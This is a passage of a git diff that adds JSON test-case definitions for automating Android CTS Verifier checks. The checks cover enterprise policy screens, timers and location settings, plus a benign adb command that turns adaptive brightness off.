installed\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":104.0,\"y\":400.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.0,\"y\":9.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"7a47115c-fc7b-4678-aaf9-5c6961b6bdf6\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Apps installed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":388.0,\"x2\":160.0,\"y2\":412.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Apps installed\",\"actionId\":\"3d19ea17-b8ba-4ab0-93e1-f66f98005e6d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Apps installed\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that the list contains the CTS Robot app\",\"actionId\":\"9fc30b48-8934-4c68-99d0-dae5fe98fde7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CTS Robot\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"90678fc2-b186-4282-a264-9e06e2279eb3\",\"displayText\":\"CTS Robot\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fb284f89-7494-43a6-b2b1-9fbda534f104\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"adde562e-cbfd-4d92-9175-981a9d41c3a6\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":83.0,\"x2\":42.0,\"y2\":111.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":79.5,\"x2\":63.0,\"y2\":114.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"9b4d174d-90a3-49e3-9e44-f4cb508f2985\",\"displayText\":\"CTS Robot\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1d8482a7-f7c9-4265-8040-1aa0a856885d\",\"displayText\":\"CTS Robot\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"CTS Robot\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":87.5,\"x2\":130.0,\"y2\":106.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.5,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CTS Robot\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":73.5,\"x2\":346.0,\"y2\":120.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"CTS Robot\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":73.5,\"x2\":360.0,\"y2\":120.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":98.0,\"y\":99.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":82.0,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"1d8482a7-f7c9-4265-8040-1aa0a856885d\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CTS Robot\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":50.0,\"y1\":82.0,\"x2\":146.0,\"y2\":116.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2a0370be-4b2c-4a72-8483-2d8861cc6156\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"792ecbfd-394a-4d9e-9d42-3b5e97b6c7ed\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Uninstall\",\"actionId\":\"fdcc31fc-a4e3-4765-baf0-450611ddf156\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Uninstall\"}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"38e3abfe-1f8a-4355-8da0-1dbd5683b73f\",\"4863cc19-2540-45b5-a9f4-1e8a08e6558c\",\"259472a8-b9dc-4df8-9148-76f5d86ddde1\",\"bdc47805-0ae3-45eb-99e1-48a822f95e44\",\"85d68a82-08b8-4847-a72d-ae820ba53c2a\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"1a098f9e-a14d-4a27-9188-a49a245fe979\",\"8438e518-5c6d-46d3-8f03-022e7641a8ec\",\"d4995ccf-9214-42e9-b5e1-de9202de91bd\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"af392741-43e6-418c-be5c-4e523a71973f\",\"3d19ea17-b8ba-4ab0-93e1-f66f98005e6d\",\"9fc30b48-8934-4c68-99d0-dae5fe98fde7\",\"2a0370be-4b2c-4a72-8483-2d8861cc6156\",\"792ecbfd-394a-4d9e-9d42-3b5e97b6c7ed\",\"fdcc31fc-a4e3-4765-baf0-450611ddf156\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk\"}}","name":"16-05-Enterprise-installed apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.173000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ec64b5f-e737-4075-9eb8-5de22223c304 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ec64b5f-e737-4075-9eb8-5de22223c304
new file mode 100644
index 0000000..00507e1
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ec64b5f-e737-4075-9eb8-5de22223c304
@@ -0,0 +1 @@
+{"uuid":"0ec64b5f-e737-4075-9eb8-5de22223c304","details":"{\"type\":\"CompoundAction\",\"name\":\"17-03-Disable status bar\",\"actionId\":\"0ec64b5f-e737-4075-9eb8-5de22223c304\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"7ba82511-7b81-415f-81d7-ce2a5c969a50\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-03-Disable status bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.200000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1013c0fa-aac7-432d-aed1-e33c58b4d603 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1013c0fa-aac7-432d-aed1-e33c58b4d603
new file mode 100644
index 0000000..d759980
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1013c0fa-aac7-432d-aed1-e33c58b4d603
@@ -0,0 +1 @@
+{"uuid":"1013c0fa-aac7-432d-aed1-e33c58b4d603","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Adaptive Brightness off\",\"actionId\":\"1013c0fa-aac7-432d-aed1-e33c58b4d603\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Adaptive Brightness off\",\"actionId\":\"5fae2e2e-29fd-49f4-b0ec-c451ceae100d\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put system screen_brightness_mode 0\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"5fae2e2e-29fd-49f4-b0ec-c451ceae100d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Adaptive Brightness off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.272000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1075b85b-6357-4973-af77-ddd3ef41fbbf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1075b85b-6357-4973-af77-ddd3ef41fbbf
new file mode 100644
index 0000000..4f864fdc
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1075b85b-6357-4973-af77-ddd3ef41fbbf
@@ -0,0 +1 @@
+{"uuid":"1075b85b-6357-4973-af77-ddd3ef41fbbf","details":"{\"type\":\"CompoundAction\",\"name\":\"15-28-Set permitted input methods\",\"actionId\":\"1075b85b-6357-4973-af77-ddd3ef41fbbf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"238c6d52-12d8-4d83-ae19-c703bcc6ec24\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-28-Set permitted input methods","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.162000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/10a43a2f-1557-43cb-b85f-95ced16d5bb4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/10a43a2f-1557-43cb-b85f-95ced16d5bb4
new file mode 100644
index 0000000..96bbfaa
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/10a43a2f-1557-43cb-b85f-95ced16d5bb4
@@ -0,0 +1 @@
+{"uuid":"10a43a2f-1557-43cb-b85f-95ced16d5bb4","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Alarms and Timers Tests-Set Timer Test\",\"actionId\":\"10a43a2f-1557-43cb-b85f-95ced16d5bb4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Timer Test\",\"actionId\":\"694cb47d-7953-44a2-bc40-e270f0251749\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Timer Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Timer\",\"actionId\":\"6be42a32-005a-4081-8714-7a2f130c55a3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Timer\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-in Timer page\",\"actionId\":\"25c2c167-bf28-430b-bc14-8ad6c7eed9be\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/action_bar_title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Timer\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-UI to manage timers\",\"actionId\":\"3eda76d3-652f-49bb-be58-c33967268418\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"com.google.android.deskclock:id/timer_setup\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/timer_setup\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-UI to manage timers\",\"actionId\":\"7abccf64-4453-47b4-bf45-b547096f7175\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"com.google.android.deskclock:id/timer_setup_time\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/timer_setup_time\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Numeric pad\",\"actionId\":\"1da89ba8-076f-4a7b-b32b-45a5cfc25d6c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"contains\",\"value\":\"com.google.android.deskclock:id/timer_setup_digit_\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0930668c-ddc2-4240-8add-9cfc33150903\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"3832f622-3408-4968-9429-c0c9e11905d5\",\"694cb47d-7953-44a2-bc40-e270f0251749\",\"6be42a32-005a-4081-8714-7a2f130c55a3\",\"25c2c167-bf28-430b-bc14-8ad6c7eed9be\",\"3eda76d3-652f-49bb-be58-c33967268418\",\"7abccf64-4453-47b4-bf45-b547096f7175\",\"1da89ba8-076f-4a7b-b32b-45a5cfc25d6c\",\"0930668c-ddc2-4240-8add-9cfc33150903\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Alarms and Timers Tests-Set Timer Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.033000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1133e24d-4564-4009-8872-280f93f6fb3e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1133e24d-4564-4009-8872-280f93f6fb3e
new file mode 100644
index 0000000..eee667c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/1133e24d-4564-4009-8872-280f93f6fb3e
@@ -0,0 +1 @@
+{"uuid":"1133e24d-4564-4009-8872-280f93f6fb3e","details":"{\"type\":\"CompoundAction\",\"name\":\"17-01-Check affiliated profile owner\",\"actionId\":\"1133e24d-4564-4009-8872-280f93f6fb3e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Check affiliated profile owner\",\"actionId\":\"32752b05-2e6e-438a-905a-226126bcb927\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Check affiliated profile owner\"}],\"childrenIdList\":[\"32752b05-2e6e-438a-905a-226126bcb927\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-01-Check affiliated profile owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.199000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11862730-912f-4b3c-99d6-cff28c749559 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11862730-912f-4b3c-99d6-cff28c749559
new file mode 100644
index 0000000..67ca952
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11862730-912f-4b3c-99d6-cff28c749559
@@ -0,0 +1 @@
+{"uuid":"11862730-912f-4b3c-99d6-cff28c749559","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Pass on dialog\",\"actionId\":\"11862730-912f-4b3c-99d6-cff28c749559\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"1d59f4eb-bf51-4743-9554-95536f68ff1c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"1d59f4eb-bf51-4743-9554-95536f68ff1c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Pass on dialog","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.292000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11db7055-3e2e-475f-8620-1bef6bb6f5bd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11db7055-3e2e-475f-8620-1bef6bb6f5bd
new file mode 100644
index 0000000..dc75f0a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/11db7055-3e2e-475f-8620-1bef6bb6f5bd
@@ -0,0 +1 @@
+{"uuid":"11db7055-3e2e-475f-8620-1bef6bb6f5bd","details":"{\"type\":\"CompoundAction\",\"name\":\"11_Profile-aware location settings\",\"actionId\":\"11db7055-3e2e-475f-8620-1bef6bb6f5bd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware location settings\",\"actionId\":\"5aab971e-2393-42fe-9431-63fe2546881f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware location settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a736b818-3ea8-4368-9404-ec2840986088\",\"displayText\":\"Profile-aware location settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware location settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":616.6666666666666,\"x2\":360.0,\"y2\":660.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":111.0,\"y\":637.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":69.0,\"y\":1.1666666666666288,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a736b818-3ea8-4368-9404-ec2840986088\",\"firstText\":\"Profile-aware location settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware location settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":218.0,\"y1\":647.0,\"x2\":4.0,\"y2\":628.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware location settings\",\"actionId\":\"43814901-0c60-4d04-afcd-9cdcdd17a9dc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware location settings\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Location\",\"actionId\":\"4d6bb478-f752-424a-b89a-229ca66b3e65\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.TextView\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Location\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"d7225083-b453-4385-b89e-ccb68986ea3c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"fee374c3-8d61-4864-923d-9ce2f48052ab\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"5aab971e-2393-42fe-9431-63fe2546881f\",\"43814901-0c60-4d04-afcd-9cdcdd17a9dc\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"4d6bb478-f752-424a-b89a-229ca66b3e65\",\"d7225083-b453-4385-b89e-ccb68986ea3c\",\"8d1d94a2-d11b-4f87-a55a-3d13bc488360\",\"f9a2bad7-a95c-4899-a5a1-c5eb32932abf\",\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"a5cd361e-a0c1-493b-9029-bc0855d3503c\",\"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b\",\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3\",\"73572186-21d3-4f07-9b89-dd5f35a0a943\",\"d3945e10-840f-4cae-8f1a-39db0e4ac6cb\",\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"a5cd361e-a0c1-493b-9029-bc0855d3503c\",\"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b\",\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3\",\"46149c51-f989-4ff1-98c5-18a09bcb4fa5\",\"d3945e10-840f-4cae-8f1a-39db0e4ac6cb\",\"fee374c3-8d61-4864-923d-9ce2f48052ab\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"11_Profile-aware location settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.303000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/128d040e-8d30-4812-9cbb-b29efa47855e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/128d040e-8d30-4812-9cbb-b29efa47855e
new file mode 100644
index 0000000..e2c51ef
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/128d040e-8d30-4812-9cbb-b29efa47855e
@@ -0,0 +1 @@
+{"uuid":"128d040e-8d30-4812-9cbb-b29efa47855e","details":"{\"type\":\"CompoundAction\",\"name\":\"05-Disallow configuring VPN\",\"actionId\":\"128d040e-8d30-4812-9cbb-b29efa47855e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow configuring VPN\",\"actionId\":\"a48b1f3f-1e11-42d6-9058-a9c6f6c22ef5\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow configuring VPN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3b7242bd-5a58-4841-9d6e-9b0e3bd890c0\",\"displayText\":\"Go\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cf687992-2fed-4bba-9f18-6cc27f44be67\",\"displayText\":\"Go\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"4041c737-583e-42ae-b523-443f3456d3fb\",\"displayText\":\"Go\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"text\":\"Go\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":436.5,\"x2\":85.75,\"y2\":478.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Go\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.cts.verifier:id/buttons\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\